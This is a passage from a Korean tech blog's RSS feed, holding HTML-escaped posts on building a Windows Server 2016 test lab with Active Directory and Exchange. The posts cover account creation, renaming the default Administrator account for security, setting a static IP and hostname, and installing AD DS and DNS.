width=&quot;464&quot; height=&quot;511&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;계정 생성 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 재부팅 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 계정으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;790&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;412&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RI7gM/btrd03vyyRo/0oGzh8H20Z4MvFASzsqu5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RI7gM/btrd03vyyRo/0oGzh8H20Z4MvFASzsqu5k/img.png&quot; data-alt=&quot;새로 생성한 계정으로 로그인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RI7gM/btrd03vyyRo/0oGzh8H20Z4MvFASzsqu5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRI7gM%2Fbtrd03vyyRo%2F0oGzh8H20Z4MvFASzsqu5k%2Fimg.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;790&quot; data-filename=&quot;7.png&quot; width=&quot;500&quot; height=&quot;412&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;새로 생성한 계정으로 로그인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;계정 생성 완료&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 테스트 환경이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 서버에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD와 Exchange를 구성하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통은 따로 구성하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange 서버를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD에 가입시키는 형태로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구성할 것입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실 서버에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안상의 이유도 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단 항목에도 있기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Administrator 계정명을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그대로 사용하는 것은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 되므로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Administrator의 이름을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경하거나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새로 계정 생성 후 삭제해야 합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;연관된 사이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/150&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.02 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/152&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 사이트&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마이크로 소프트에서 제공하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 가이드 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot;&gt;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1630635148974&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Exchange Server 필수 구성 요소, Exchange 2019 시스템 요구 사항, Exchange 2019 요구 사항&quot; data-og-description=&quot;요약: Exchange Server 2016 및 Exchange Server 2019과 Exchange 관리 도구를 위한 Windows 운영 체제 필수 구성 요소에 대해 알아봅니다.&quot; data-og-host=&quot;docs.microsoft.com&quot; data-og-source-url=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot; data-og-url=&quot;https://docs.microsoft.com/ko-kr/exchange/plan-and-deploy/prerequisites&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bOLxEw/hyLtWcUYuD/KtzrEmcirz3sWLsan2kLzk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400&quot;&gt;&lt;a href=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&amp;amp;view=exchserver-2016&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bOLxEw/hyLtWcUYuD/KtzrEmcirz3sWLsan2kLzk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Exchange Server 필수 구성 요소, Exchange 2019 시스템 요구 사항, Exchange 2019 요구 사항&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;요약: Exchange Server 2016 및 Exchange Server 2019과 Exchange 관리 도구를 위한 Windows 운영 체제 필수 구성 요소에 대해 알아봅니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.microsoft.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/스터디</category>
      <category>Active Directory</category>
      <category>AD</category>
      <category>EXCHANGE</category>
      <category>server</category>
      <category>window</category>
      <category>WIndow Server</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/151</guid>
      <comments>https://chmodi.tistory.com/151#entry151comment</comments>
      <pubDate>Fri, 3 Sep 2021 15:23:04 +0900</pubDate>
    </item>
    <item>
      <title>[Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치</title>
      <link>https://chmodi.tistory.com/150</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;윈도우 서버 2016에&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;AD를 구성하는 방법입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;사실, 윈도우 서버 2019에서&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;시작했으나,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;나중에 되서야&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;호환되지 않는 버전인 것을&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; letter-spacing: 0px;&quot;&gt;확인하고 다시 진행했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;윈도우 서버 2016 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 환경으로 구성할 예정이기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Trial 버전을 구해 설치했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;Windows Server 2016 평가판 다운로드&lt;/b&gt;&lt;br /&gt;- &lt;a href=&quot;https://www.microsoft.com/ko-kr/evalcenter/evaluate-windows-server-2016&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.microsoft.com/ko-kr/evalcenter/evaluate-windows-server-2016&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치는 VMware에서 진행했으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iso 파일을 나중에 연결하는 방식으로 진행했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(바로 설치하면 GUI가 아니라 Core 밖에 선택을 못해서...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치화면에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번째(Standard GUI), 4번째(DataCenter GUI)로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무난하게 GUI 환경의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우 서버 2016가 설치됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;사전 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AD를 설치하기 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 사항들을 미리 설정해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;1. Administrator 계정 사용&lt;br /&gt;- 최초 설치면 어차피 Administrator 계정입니다.&lt;br /&gt;&lt;br /&gt;2. 고정 IP 설정&lt;br /&gt;- DNS는 AD 구성시 자동으로 127.0.0.1로 변경됩니다.&lt;br /&gt;&lt;br /&gt;3. Hostname 설정&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;2. 고정 IP 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고정 IP는 아래 위치에서 설정할 수 있습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;위치: 제어판&lt;br /&gt;- &lt;b&gt;Control Panel\Network and Internet\Network Connections&lt;br /&gt;&amp;gt; Ethernet 우클릭 &amp;gt; Properties&lt;br /&gt;&amp;gt; Internet Protocol Version 4 (TCP/IPv4) 더블 클릭 &amp;gt; IP 설정&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP는 자신의 환경에 맞춰서 설정하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DNS는 필요한 패키지, 업데이트 등을 받기 위해&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 인터넷이 가능한 DNS로 설정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;648&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;405&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RYpyr/btrdMIUJ61P/ETGT30JrTGVHCk4KveK2CK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RYpyr/btrdMIUJ61P/ETGT30JrTGVHCk4KveK2CK/img.png&quot; data-alt=&quot;고정 IP 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RYpyr/btrdMIUJ61P/ETGT30JrTGVHCk4KveK2CK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRYpyr%2FbtrdMIUJ61P%2FETGT30JrTGVHCk4KveK2CK%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;648&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;405&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;고정 IP 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot;&gt;&lt;b&gt;3. Hostname 설정&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hostname은 아래 위치에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;위치:&lt;br /&gt;&lt;b&gt;- Control Panel\System and Security\System&lt;br /&gt;&amp;gt; Change settings &amp;gt; Change &amp;gt; Hostname 입력&lt;br /&gt;&amp;gt; OK &amp;gt; Close &amp;gt; Restart Now&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;875&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;456&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKPIW9/btrdOWSjn5n/aENkExERfUrgsGks8lrFh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKPIW9/btrdOWSjn5n/aENkExERfUrgsGks8lrFh0/img.png&quot; data-alt=&quot;Hostname 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKPIW9/btrdOWSjn5n/aENkExERfUrgsGks8lrFh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKPIW9%2FbtrdOWSjn5n%2FaENkExERfUrgsGks8lrFh0%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;875&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;456&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Hostname 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅을 해야 적용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;453&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;296&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cX6Vqo/btrdOxZz4ge/0aD6HsyOm3q8Ovo1tPhvc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cX6Vqo/btrdOxZz4ge/0aD6HsyOm3q8Ovo1tPhvc0/img.png&quot; data-alt=&quot;바뀐 Hostname&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cX6Vqo/btrdOxZz4ge/0aD6HsyOm3q8Ovo1tPhvc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcX6Vqo%2FbtrdOxZz4ge%2F0aD6HsyOm3q8Ovo1tPhvc0%2Fimg.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;453&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;296&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;바뀐 Hostname&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;AD 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Active Directory 설치는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Server Manager(서버 관리자)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 통해서 진해할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;AD 설치 순서&lt;br /&gt;- &lt;b&gt;Server Manager &amp;gt; 우측 상단 Manage &amp;gt; Add Roles and Features&lt;br /&gt;&amp;gt; Next &amp;gt; Next &amp;gt; Next&lt;br /&gt;&amp;gt; Active Directory Domain Services 선택 &amp;gt; Add Features&lt;br /&gt;&amp;gt; DNS Server 선택 &amp;gt; Add Features&lt;br /&gt;&amp;gt; Next &amp;gt; Next &amp;gt; Next &amp;gt; Install&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;659&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;421&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdObNX/btrdOwl3IOt/DvrurZjIFv3elNz2DpkIC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdObNX/btrdOwl3IOt/DvrurZjIFv3elNz2DpkIC1/img.png&quot; data-alt=&quot;Active Directory Domain Service 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdObNX/btrdOwl3IOt/DvrurZjIFv3elNz2DpkIC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdObNX%2FbtrdOwl3IOt%2FDvrurZjIFv3elNz2DpkIC1%2Fimg.png&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;659&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;421&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Active Directory Domain Service 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
